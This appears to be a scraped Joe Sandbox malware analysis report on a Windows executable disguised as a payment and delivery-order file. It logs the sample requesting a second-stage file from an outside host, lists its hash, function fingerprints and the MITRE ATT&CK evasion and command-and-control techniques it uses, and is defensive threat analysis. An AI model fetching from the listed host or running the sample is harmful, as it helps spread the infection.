2024-11-24 15:43:48 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50092	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:50 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:50 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:50 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:50 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Analysis Process: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exePID: 3504, Parent PID: 1028

General

Target ID:	0
Start time:	10:39:44
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe"
Imagebase:	0xdf0000
File size:	80'896 bytes
MD5 hash:	5A7AC4C646F3E5E30942DAFC5CC0FDC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exePID: 3504, Parent PID: 1028COMMON

Executed Functions

Function 01820C50 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be0ec3132d2e62774859c5dc1f64e2003d163ce9dce95487a240f8bcd84fc0a1
Instruction ID: 61547057a4a18af3c2868488488e5c56bedb788dc31ff4ff78c6f7fd83e2c704
Opcode Fuzzy Hash: be0ec3132d2e62774859c5dc1f64e2003d163ce9dce95487a240f8bcd84fc0a1
Instruction Fuzzy Hash: 95416A70A002298FCB16DFA8D0546ADBBF2FF88714F15816AE419EB351DB34AD81CB91

Function 01820870 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a865ecea576c21ec0d9e33f25eb67b7800afe07d60e3a3704503c1f748409a22
Instruction ID: 3c5060dc123e44a4145401c392ba39fca712cc08800d559f481b334c7d0affed
Opcode Fuzzy Hash: a865ecea576c21ec0d9e33f25eb67b7800afe07d60e3a3704503c1f748409a22
Instruction Fuzzy Hash: 4931A531E0020A8FCB45DFB8C8445EEBBF2FF89310F158569E515EB264E770A986CB90

Function 01820B19 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aacdc2a984e2657a034bdf1496315bf64f305acfc6f2af03b302b737d25266af
Instruction ID: b8a7112257c17738a51d150fe2f794a633641e022cc12378aa1a9c236984e11d
Opcode Fuzzy Hash: aacdc2a984e2657a034bdf1496315bf64f305acfc6f2af03b302b737d25266af
Instruction Fuzzy Hash: 9E31BF72F002199FCB55DF68C54059EFBF2EFC8350B14802AE846E7365DB31AE468B90

Function 018215B4 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b90ee65c69c0cff9c8a3e127ce16fe7ee456d65f4c6c1b98a94deaa444a6b92
Instruction ID: 213311e1847d82204955a90d7d557edf0dd921ba23e3b91b1eb46290942096fc
Opcode Fuzzy Hash: 1b90ee65c69c0cff9c8a3e127ce16fe7ee456d65f4c6c1b98a94deaa444a6b92
Instruction Fuzzy Hash: 69314CB1D002589FDB24CFA9C584AEEBFF5BF48300F288019E519AB350DB359985CF90

Function 018215C0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4037735a44a94245fe50726efeb328ba8c8e05f748c979875d5e16148774012f
Instruction ID: 5c79e97171e131538e92a667f937219c8ef69e19e2e118c4b1d1c7146ed5f925
Opcode Fuzzy Hash: 4037735a44a94245fe50726efeb328ba8c8e05f748c979875d5e16148774012f
Instruction Fuzzy Hash: D9311CB0D002589FDB14DFA9C584ADEBFF5AF48310F248419E519AB350DB359985CFA0

Function 01820A20 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576f0e20d355a696bbc6a463f12e286eff07ed8dbd67e373f1e42d6834910f04
Instruction ID: 56079aca76d2e3215cf8e4274ea01b03a7dc795306532a3e7ee6de395b4fcb11
Opcode Fuzzy Hash: 576f0e20d355a696bbc6a463f12e286eff07ed8dbd67e373f1e42d6834910f04
Instruction Fuzzy Hash: AF217F71A013699FDB25DF69C8045DEBBF1FF88310B144A6DE496EB290EB30A944CB61

Function 01820CEA Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7125882755f6e71777a5446003c5616baa6c04b7112324cbaea23f81712c242c
Instruction ID: fd80f2c50e7675b95569ea40e8128e99980e0b36eb32a1b305212d01128c0a3c
Opcode Fuzzy Hash: 7125882755f6e71777a5446003c5616baa6c04b7112324cbaea23f81712c242c
Instruction Fuzzy Hash: C7210434A016288FCB12CBA9D180A9CF7F2EF48314F45C1AAE418AB261D374E981CF90

Function 01820860 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f05891603625b21e070ff8d276aae7acdf9d8b503e903afd25af074be8258c
Instruction ID: 2654ca89e2b5d4fb83fc69bf2cfff05f2408681c9b9396e05422cf79af19d06b
Opcode Fuzzy Hash: 97f05891603625b21e070ff8d276aae7acdf9d8b503e903afd25af074be8258c
Instruction Fuzzy Hash: 64111970E502098FCB44CFA8D548AAEBBF2FF48310F1584A9E915DB361D731E9818F80

Function 01820A0F Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df4941271594752f205653c81dd2d12d4403e0b114cf2b510f1372371ab9b9e1
Instruction ID: f45a83ccb07b122b6891c70fba3e46192f12f29337f8d23b9f69c7d49f0b82f3
Opcode Fuzzy Hash: df4941271594752f205653c81dd2d12d4403e0b114cf2b510f1372371ab9b9e1
Instruction Fuzzy Hash: 6511AD31A102288FDB29CFA9C8049EEBBF1FF48310B14456AE446E7251D731AE48CF60

Function 015CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4493877786.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 971b7ea6d6c7b30dfdbc62c7b52c3197a18a9a720aaf52a27fdd855e97af8882
Instruction ID: e074c28dea823123298d0a3365120f3878c5d2603283aa593b6c14ab4b3c674f
Opcode Fuzzy Hash: 971b7ea6d6c7b30dfdbc62c7b52c3197a18a9a720aaf52a27fdd855e97af8882
Instruction Fuzzy Hash: 2D01B5310043009DE7108E9D8C84B67BFA8FF45660F18C42DED485E146D2799401C6F1

Function 015CD006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4493877786.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889c024f6f8616bfe765df1abd8c93c14af8a57ea3cd4106b257c2d4cb9d4aa6
Instruction ID: f1d0e6d8bfd7e7ee49acb1adcc7026ca8ec1495d70ca4bea1504c915f4845b9d
Opcode Fuzzy Hash: 889c024f6f8616bfe765df1abd8c93c14af8a57ea3cd4106b257c2d4cb9d4aa6
Instruction Fuzzy Hash: 5D01407100D3C09FD7128B698C94766BFB4EF43624F1981DBD9889F1A3D2695844C7B2

Function 01820990 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ddd01e61075aaacac9575bb8ab7e05e5536d239575a18e8244eb694baad965
Instruction ID: 045a0809d5699c420c2b31fd980a66cc9bb3c8c1f78e89aafb647c80de78bb9b
Opcode Fuzzy Hash: 54ddd01e61075aaacac9575bb8ab7e05e5536d239575a18e8244eb694baad965
Instruction Fuzzy Hash: 99F0C232D102598BDF16DB64C8649EFBFB66F84310F05852AD402A7390DEB8190BCB81

Function 01820839 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494189070.0000000001820000.00000040.00000800.00020000.00000000.sdmp, Offset: 01820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1820000_FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1360d0dd19b64b6abbb4029e51c245aaa5d6748efeee1d405888d776ee48dae5
Instruction ID: 42b037aa061530cf69bec4a53a94c4baed8ef1557d0ba30c517b81e101d1aa1b
Opcode Fuzzy Hash: 1360d0dd19b64b6abbb4029e51c245aaa5d6748efeee1d405888d776ee48dae5
Instruction Fuzzy Hash: 36D0133155D3555FCBD21B70A4180783BB0FD4222034501DFC4408F461E7571D0EE715

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exePID: 3504, Parent PID: 1028

Windows Analysis Report
FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe